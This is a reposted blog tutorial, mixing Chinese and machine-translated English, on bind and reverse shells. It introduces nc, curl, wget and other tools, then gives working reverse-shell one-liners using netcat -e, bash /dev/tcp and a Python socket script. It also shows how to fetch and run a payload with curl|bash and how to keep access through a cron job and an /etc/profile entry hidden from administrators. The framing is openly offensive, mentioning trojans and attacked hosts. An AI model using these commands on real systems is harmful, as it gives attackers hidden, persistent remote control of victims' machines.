当前位置:网站首页>How to bounce the shell

How to bounce the shell

2022-08-10 23:15:00 ek1ng

Talk about how to bounce backshell

linuxcommon network tools

netcat

netcat也就是平时用的nc,is a feature-rich network debugging and investigation tool,It can produce almost any type of connection a user might need,Can connect to a remote hostnc -nvv Targert_IP Targert_Port,监听本地主机nc -l -p Local_Port,端口扫描nc -v target_IP target_Port、端口监听nc -l -p local_Port、远程文件传输nc Targert_IP Targert_Port < Targert_File、正向shell、反向shell等等.

curl

在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具.它支持文件的上传和下载,是综合传输工具,This tool can help us simulate well on the serverhttp的行为.

wget

wget是一个下载文件的工具,它用在命令行下.对于Linux用户是必不可少的工具,我们经常要下载一些软件或从远程服务器恢复备份到本地服务器.

curl和wget的区别

wget是个专职的下载利器,简单,专一,极致;而curl可以下载,但是长项不在于下载,而在于模拟提交web数据,POST/GET请求,调试网页,等等.on download,也各有所长,wget可以递归,支持断点;而curl支持URL中加入变量,因此可以批量下载.for personal use,我经常用wget来下载文件,加 -c选项不怕断网;使用curl 来跟网站的API 交互,简便清晰.

ping

pingThe command itself is at the application layer,Equivalent to an application,它直接使用网络层的ICMP协议,ping用来检查网络是否通畅或者网络连接速度的命令.

telnet

telnet协议是TCP/IP协议族的其中之一,是Internet远端登录服务的标准协议和主要方式,常用于网页服务器的远端控制,可供使用者在本地主机执行远端主机上的工作.telnetTypically used to detect assignmentsip是否开放指定端口.

ssh

简单来书,ssh 和 telnet 是实现相同的功能 , ssh中 数据是经过加密的,是安全的 , 而 Telnet是明文传输的,ssh 是加密的,基于 SSL .

正向shell如何连接

如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell.

目标主机:

命令:nc -lvp Targert_Port -e /bin/sh

本地主机:

命令:nc Targert_IP Targert_Port

什么是反弹shell

参考: https://xz.aliyun.com/t/9488https://zhuanlan.zhihu.com/p/138393396

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端.reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转.

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接.远程桌面、web服务、ssh、telnet等等都是正向连接.那么什么情况下正向连接不能用了呢?

有如下情况:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了.

2.目标机器的ip动态改变,你不能持续控制.

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求.

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策.

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接.

反弹shell的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定,比如目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell,如果具有python环境,那我们可以利用python反弹shell.如果具有php环境,那我们可以利用php反弹shell.

弹shell的方式

netcat

攻击机开启监听:nc -lvp Target_Port

-lvp中lmeans monitoring,vRefers to the output interaction process,p为指定端口

靶机连接攻击机:netcat Target_IP Target_Port -e /bin/bash

Bash

同样的我们还是用nc -lvp Target_PortEnable listening on the port of the attacker,nc -lvp Target_Port这次我们使用BashCombine redirects to bounceshell

bash -i >& /dev/tcp/Target_IP/Target_Port 0>&1或者bash -c "bash -i >& /dev/tcp/Target_IP/Target_Port 0>&1"

bash -i 产生bash交互环境 >& Combine the content before and after the union symbol,redirect to the latter,/dev/tcp/Target_IP/Target_PortLet the target host initiate and attack the aircraftTarget_Port上的TCP连接,0>&1Combine the contents of standard input and standard output,重定向给前面标准输出的内容.

BashAn interactive environment is created and the local host actively initiates a connection with the attacker port,然后在重定向个TCP 会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境.

Python脚本反弹shell

In the same way, we still start port listening on the attack machine,nc -lvp Target_Port

在靶机上执行python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Target_IP",Target_Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Others

反弹shell的方式很多,nc和bash是比较常见的方式,其他还有Telnet,SocatWait until the tool can bounce backshell,或者写个python,phpetc. scripts can also bounceshell,More trivial content can be checked again when it is encountered.

一些小技巧

Because sometimes the way to achieve utilization may be more indirect,These techniques can bounce back in different situationsshell的作用.

Curl反弹shell

简单来说就是将BashRedirect the content of this sentence to write to the file,Let the target machine use itcurlDownload this file and execute,reach withBashRedirects have the same effect

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:

bash -i >& /dev/tcp/Target_IP/Target_Port 0>&1或者bash -c "bash -i >& /dev/tcp/Target_IP/Target_Port 0>&1"

Then execute the following on the target machine,即可反弹shell

curl Target_IP|bash

将反弹shell的命令写入定时任务

我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道目标主机当前的用户名是哪个.因为我们的反弹shell命令是要写在 /var/spool/cron/[crontabs]/<username> 内的,所以必须要知道远程主机当前的用户名.否则就不能生效.

The idea of ​​a timed task is to send it every once in a whileshell,The following is every other1分钟发送shell

*/1 * * * * /bin/bash -i>&/dev/tcp/Target_IP/Target_Port 0>&1

将反弹shell的命令写入/etc/profile文件

将反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行.

/bin/bash -i >& /dev/tcp/Target_IP/Target_Port 0>&1 &

最后面那个&为的是防止管理员无法输入命令

原网站

版权声明
本文为[ek1ng]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/222/202208102229584018.html